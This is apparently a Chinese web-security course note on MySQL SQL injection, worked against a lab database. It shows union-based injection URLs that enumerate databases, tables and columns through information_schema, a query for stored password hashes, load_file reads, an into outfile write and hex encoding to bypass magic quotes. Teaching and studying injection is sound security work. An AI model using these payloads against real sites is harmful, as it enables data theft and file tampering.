小迪安全 Day13 WEB漏洞SQL注入之MYSQL注入
information_schema
- information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
- information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
SCHEMATA表
- 当前MySQL实例中所有数据库的信息
SHOW DATABASES;
命令用来从这个表获取数据
获取数据库名称
select SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME from SCHEMATA;
TABLES表
- 存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
SHOW TABLES FROM XX;
命令从这个表获取结果。
COLUMNS表
- 存储表中的列信息,包括表有多少列、每个列的类型等。
SHOW COLUMNS FROM schemaname.tablename
命令从这个表获取结果。
USER_PRIVILEGES表
- 用户权限表。内容源自 mysql.user 授权表。是非标准表。
跨库攻击
- 前提准备
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31mysql> create database book;
mysql> use book;
mysql> CREATE TABLE IF NOT EXISTS book( `book_id` INT UNSIGNED AUTO_INCREMENT, `book_title` VARCHAR(100) NOT NULL, `book_author` VARCHAR(40) NOT NULL, `submission_date` DATE, PRIMARY KEY ( `book_id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| book |
| mysql |
| performance_schema |
+--------------------+
mysql> use book;
mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book |
+----------------+
1 row in set (0.00 sec)
mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+------------------+------+-----+---------+----------------+
| book_id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| book_title | varchar(100) | NO | | NULL | |
| book_author | varchar(40) | NO | | NULL | |
| submission_date | date | YES | | NULL | |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.00 sec) - 打开网页进行查询当前数据库的用户
?id=-1%20union%20select%201,user(),3
- 可以看见当前用户为root,拥有最高权限
- 获取到当前网页的数据库名
?id=-1%20union%20select%201,database(),3
3- 获取到当前数据库名为security
- 常见的数据库与用户的对应关系
- 这样的好处一个用户对应一个数据库,网站之间的数据不会互相干扰,这是最基础的数据库模型,现在大网站都是分布式数据库
1
2
3数据库A=网站A=数据库用户A ——>表名——>列名——>数据
数据库B=网站B=数据库用户B ——>表名——>列名——>数据
数据库C=网站C=数据库用户C ——>表名——>列名——>数据 - 在数据库中查询有哪些用户
1
2
3mysql> use mysql;
Database changed
mysql> select host,user,authentication_string from user; - 在源码查看使用的是哪一个用户
- 一般网站安装时都会指定数据库二点用户名和密码
- 这里指定root用户,密码为空,指定数据库为security
1
2
3
4
5
6
7
8
9
10db-creds.inc
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?> - 跨库查询的前提条件是必须高权限的用户才能执行跨库查询。
?id=-1%20union%20select%201,schema_name,3%20from%20information_schema.schemata
- 相当于数据库执行
select * from users where id=-1 union select 1,schema_name,3 from information_schema.schemata limit 0,1;
获取到所有的数据库名称
union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata
group_concat()
将分组中的字符串与各种选项进行连接- 相当于数据库执行`select * from users where id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata;
指定获取book库中的表名信息
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book'
- 相当于数据库执行命令
select * from users where id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='book';
获取指定数据库book下的book表的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book'
- 相当于数据库命令
select * from users where id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book';
查询到指定数据
- union select book_id,book_title,book_author from book.book
- 数据库命令
select * from users where id=-1 union select book_id,book_title,book_author from book.book;
备注
- username和password字段是users表中的字段,又因为查询到的数据为空,执行后面的联合字句的时候将内容填充到下面,所以获取到的内容并不是十分准确,另外要内容十分准确必须要满足book表和user表的结构完全相同
文件读写函数
load_file
文件读取into outfile
或into dumpfile
文件- 获取路径的常见方法:报错显示、遗漏文件、漏洞报错、平台配置文件、爆破等
- 报错显示:当网站出现错误的时候,在报错显示当中可能就会包含文件的路径
- 遗漏文件:在网站建立的时候会有
phpinfo.php
文件,通常用于建立网站时使用,当中会包含文件路径 - 漏洞报错:通过网站漏洞,爆路径的方式
- 平台配置文件:通过读取文件来读取网站的配置文件,通常是默认的路径,如果改了那就很难找到
- 爆破:通常是没办法的时候,通过一个一个试的方式
- 通过工具扫描通常就能发现很多错误,通常就会包括路径
查询是否有写入的权限
show global variables like '%secure_file_priv%';
- NULL:不允许导入或导出
- /tmp:只允许在 /tmp 目录导入导出
- 空:不限制目录
- 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
- 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
文件读取
- 在网页源代码中可以看到被读取的文件内容
- 这里读取了数据库的配置信息
- 数据库命令的内容
select load_file();
- 读取敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669
文件写入
?id=-1%20union%20select%201,%27zys%27,3%20into%20outfile%20%27D:/zys.txt%27--+
- 最后面的
--+
用于注释掉后面的内容 - 数据库命令
select 'zys' into outfile 'D:/zys.txt';
- D盘当中就生成了这个文件
魔法引号开关
- 魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。
- 正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。
取消原因:
- 在PHP5.4.0版本之后就取消了,原因
- (1)可移植性:
- 编程时认为其打开或并闭都会影响到移植性。可以用 get_magic_quotes_gpc() 来检查是否打开,并据此编程。
- (2)性能:
- 由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。在运行时调用转义函数(如 addslashes())更有效率。 尽管 php.ini-dist 默认打开了这个选项,但是 php.ini-recommended 默认却关闭了它,主要是出于性能的考虑。
- (3)方便:
- 由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 ‘。针对这个问题,可以使用 stripslashes() 函数处理。
开关
- 在php的配置文件
php.ini
当中,magic_quotes_gpc
为魔法引号的开关
绕过方法
- 采用hex(16进制)编码绕过
- 因为对路径进行编码之后,不再需要单引号了,魔术引号不会再对其生效,也就是说绕过了魔术引号的作用达到绕过。
- 编码软件:winhex
int函数
- 判断输入的是否为数字
- 判断数字基本上没办法绕过,因为没办法在纯数字当中注入内容
1
2
3
4
5
6
7if(is_int($id)){
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
}else{
echo 'ni shi ge jj?';
} - 防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。
评论